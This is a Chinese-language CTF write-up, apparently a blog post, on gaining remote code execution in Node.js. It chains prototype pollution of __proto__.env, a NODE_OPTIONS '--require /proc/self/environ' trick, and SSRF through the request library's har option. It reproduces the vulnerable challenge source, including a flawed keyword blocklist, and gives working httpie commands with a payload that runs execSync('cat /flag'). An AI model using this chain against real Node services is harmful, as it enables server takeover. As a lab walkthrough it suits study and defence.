Node.js child_process.fork 与 env 污染 RCE

Published: at 23:52

Node 从8.0 开始支持 NODE_OPTIONS，而 Node 的参数中有一项名为 --require，可以加载执行一段 JavaScript 代码。这就是一切的起源。

ToC

当 NODE_OPTIONS 遇到 fork

我们先来看一下 child_process.fork 的源码：

1
function fork(modulePath /* , args, options */) {
2
  validateString(modulePath, "modulePath");
3


4
  // Get options and args arguments.
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  let execArgv;
6
  let options = {};
7
  let args = [];
8
  let pos = 1;
9
  if (pos < arguments.length && ArrayIsArray(arguments[pos])) {
10
    args = arguments[pos++];
11
  }
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13
  if (
14
    pos < arguments.length &&
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    (arguments[pos] === undefined || arguments[pos] === null)
16
  ) {
17
    pos++;
18
  }
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20
  if (pos < arguments.length && arguments[pos] != null) {
21
    if (typeof arguments[pos] !== "object") {
22
      throw new ERR_INVALID_ARG_VALUE(`arguments[${pos}]`, arguments[pos]);
23
    }
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25
    options = { ...arguments[pos++] };
26
  }
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28
  // Prepare arguments for fork:
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  execArgv = options.execArgv || process.execArgv;
30


31
  if (execArgv === process.execArgv && process._eval != null) {
32
    const index = execArgv.lastIndexOf(process._eval);
33
    if (index > 0) {
34
      // Remove the -e switch to avoid fork bombing ourselves.
35
      execArgv = execArgv.slice();
36
      execArgv.splice(index - 1, 2);
37
    }
38
  }
39


40
  args = execArgv.concat([modulePath], args);
41


42
  if (typeof options.stdio === "string") {
43
    options.stdio = stdioStringToArray(options.stdio, "ipc");
44
  } else if (!ArrayIsArray(options.stdio)) {
45
    // Use a separate fd=3 for the IPC channel. Inherit stdin, stdout,
46
    // and stderr from the parent if silent isn't set.
47
    options.stdio = stdioStringToArray(
48
      options.silent ? "pipe" : "inherit",
49
      "ipc"
50
    );
51
  } else if (!options.stdio.includes("ipc")) {
52
    throw new ERR_CHILD_PROCESS_IPC_REQUIRED("options.stdio");
53
  }
54


55
  options.execPath = options.execPath || process.execPath;
56
  options.shell = false;
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58
  return spawn(options.execPath, args, options);
59
}

看到第 52 行。当 options 中没有 execPath 中，fork 会尝试使用 process.execPath，也就是 node 本身。如果我们还可以控制 options.env，那就可以在 fork 执行之前先执行一段我们想要执行的代码。

原型链注入

原型链注入是老生长谈的 Node 安全漏洞了。这次，我们需要通过它写入 env，以在 fork 时传入环境变量。

通过注入 __proto__.env，向其中写入：

1
{
2
  "NODE_OPTIONS": "--require path/to/file.js"
3
}

我们就可以执行对应的 JavaScript 了。那如果不能借助文件，我们又该怎么办呢？

/proc

通过 /proc/self/environ，我们可以读取当前的环境变量。于是，我们就可以通过将代码写到环境变量里，达到执行任意代码的目的。我们将上面的 payload 修改成下面的形式：

1
{
2
  "AAAA": "console.log("2333")//",
3
  "NODE_OPTIONS": "--require /proc/self/environ"
4
}

就可以在 fork 之前向控制台打印出 2333 了。这里的 AAAA 是为了让这条环境变量在 /proc/self/environ 中能显示在最前，而后面的 // 则是为了注释掉之后的内容，防止执行出现问题。AAAA 和 // 的配合使得只有我们希望的代码被执行，提高了破坏力。

实战

这题据 CTFHub 说是 2020 第五空间决赛的 Web 题，名字是 hard_node，在 CTFHub 上可以找到。但 CTFHub 上没给源码，所以这里附一下源码。

app.js
1
const express = require("express");
2
const bodyParser = require("body-parser");
3
const proc = require("child_process");
4
const request = require("request");
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const ip = require("ip");
6
const manage = require("./manage.js");
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const path = require("path");
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9
const app = express();
10
app.use(bodyParser.urlencoded({ extended: true }));
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app.use(bodyParser.json());
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app.use(express.static(path.join(__dirname, "public")));
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//stop hackers
16
const disallowedKeys = [
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  "__proto__",
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  "prototype",
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  "constructor",
20
  "eval",
21
  "proccess",
22
  "root",
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  "global",
24
  "exec",
25
  "!",
26
  "fs",
27
];
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29
function isValidPath(segment) {
30
  disallowedKeys.forEach(evilWord => {
31
    if (segment.toString().indexOf(evilWord) !== -1) {
32
      return false;
33
    }
34
  });
35


36
  return true;
37
}
38


39
app.post("/add", (req, res) => {
40
  let ip = req.ip;
41
  console.log(ip.m);
42
  if (ip.substr(0, 7) == "::ffff:") {
43
    ip = ip.substr(7);
44
  }
45
  console.log(`method:${req.method},serverip:${server_ip},ip:${ip}`);
46


47
  if (ip != "127.0.0.1" && ip != server_ip) {
48
    res.status(403).send("Not Edit from Local!");
49
  } else {
50
    if (req.body.userName && req.body.nameVal) {
51
      let username = req.body.userName;
52
      let nameVal = req.body.nameVal;
53


54
      if (!isValidPath(username) || !isValidPath(nameVal)) {
55
        username = "username";
56
        nameVal = "guest";
57
      }
58


59
      manage.set(object, username, nameVal);
60
      console.log(ip.k);
61
      console.log(object);
62


63
      res.send(`
64
            <h1>Edit Success</h1>
65
            <a href="/admin">View Admin Page</a>`);
66
    } else {
67
      res.send("param error");
68
    }
69
  }
70
});
71


72
app.get("/admin", (req, res) => {
73
  if (manage.get(object, "username", "guest") === "admin") {
74
    console.log("Current User:" + object.username);
75


76
    const child = proc.fork(`${__dirname}/public/user.js`, ["admin"]);
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    child.on("message", body => {
78
      res.status(200).send(body);
79
    });
80
    child.on("close", (code, signal) => {
81
      console.log(`subproccess ended with ${signal}`);
82
    });
83
  } else {
84
    res.status(403).send("Only Admin Can View this");
85
  }
86
});
87


88
app.get("/getContent", (req, res) => {
89
  res.sendfile(`${__dirname}/public/guest.html`);
90
});
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92
app.get("/", (req, res) => {
93
  // console.log(req.body)
94
  let uri = req.query.url ? req.query.url : "http://127.0.0.1:3000/getContent";
95
  console.log(uri);
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97
  try {
98
    request.get(uri, (err, response, data) => {
99
      if (!err && response.statusCode == 200) {
100
        res.send(data);
101
      } else {
102
        console.log(err);
103
      }
104
    });
105
  } catch (e) {
106
    console.log(e);
107
  } finally {
108
    console.log("Make Server Continue Running");
109
  }
110
});
111


112
var object = { username: "guest" };
113
var server_ip = ip.address();
114


115
app.listen(3002);
116
console.log(`${server_ip} is starting at port 3000`);
manage.js
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const isObj = require("is-obj");
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var manage = {
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  getPathSegments: function (path) {
5
    const pathArray = path.split(".");
6
    const parts = [];
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8
    for (let i = 0; i < pathArray.length; i++) {
9
      let p = pathArray[i];
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11
      while (p[p.length - 1] === "\\" && pathArray[i + 1] !== undefined) {
12
        p = p.slice(0, -1);
13
        p += pathArray[++i];
14
      }
15


16
      parts.push(p);
17
    }
18


19
    return parts;
20
  },
21


22
  get: function (object, path, value) {
23
    if (!isObj(object) || typeof path !== "string") {
24
      return value === undefined ? object : value;
25
    }
26


27
    const pathArray = this.getPathSegments(path);
28


29
    for (let i = 0; i < pathArray.length; i++) {
30
      if (!Object.prototype.propertyIsEnumerable.call(object, pathArray[i])) {
31
        return value;
32
      }
33


34
      object = object[pathArray[i]];
35


36
      if (object === undefined || object === null) {
37
        if (i !== pathArray.length - 1) {
38
          return value;
39
        }
40
        break;
41
      }
42
    }
43


44
    return object;
45
  },
46


47
  set: function (object, path, value) {
48
    Object.keys(Object.prototype).forEach(function (Val) {
49
      if (!Object.hasOwnProperty(Val)) {
50
        delete Object.prototype[Val];
51
        console.log(`${Val} is delete`);
52
      }
53
    });
54


55
    if (!isObj(object) || typeof path !== "string") {
56
      return object;
57
    }
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59
    const root = object;
60
    const pathArray = this.getPathSegments(path);
61


62
    for (let i = 0; i < pathArray.length; i++) {
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      const p = pathArray[i];
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65
      if (!isObj(object[p])) {
66
        object[p] = {};
67
      }
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69
      if (i === pathArray.length - 1) {
70
        object[p] = value;
71
      }
72


73
      object = object[p];
74
    }
75


76
    return root;
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  },
78
};
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80
module.exports = manage;

可以看到，manager.js 中 set 存在明显的原型链注入，而通过 getPathSegments 又可以以 \\. 的方式绕过黑名单的检测。

我们发现，修改信息只能通过 /add 进行，这里有一个内网限定访问，可以使用 request 的 har 来实现：

Terminal window
1
http  --follow --timeout 3600 GET challenge-9a9f71099ac1a765.sandbox.ctfhub.com:10080/ 'url[har][method]'=='POST' 'url[har][url]'=='http://127.0.0.1/add' 'url[har][postData][text]'=='{"userName": "username", "nameVal": "admin"}' 'url[har][postData][mimeType]'=='application/json'

然后执行写入要执行的代码：

Terminal window
1
http  --follow --timeout 3600 GET challenge-9a9f71099ac1a765.sandbox.ctfhub.com:10080/ 'url[har][method]'=='POST' 'url[har][url]'=='http://127.0.0.1/add' 'url[har][postData][text]'=='{"userName": "__pr\\\\.oto__.env", "nameVal": {"A": "process.send(require('\''child_process'\'').execSync('\''cat /flag'\''))//", "NODE_OPTIONS": "--require /proc/self/environ"}}' 'url[har][postData][mimeType]'=='application/json'

最后访问 /admin 就可以了。

（最后从 CTFHub 上把源码偷下来了：https://drive.google.com/file/d/1z6zT48OI7zeUjWwIJvma66_2ZGIMz1M2/view?usp=sharing

参考

  1. https://xz.aliyun.com/t/6755
  2. https://blog.szfszf.top/article/47/
  3. https://github.com/mpgn/CVE-2019-7609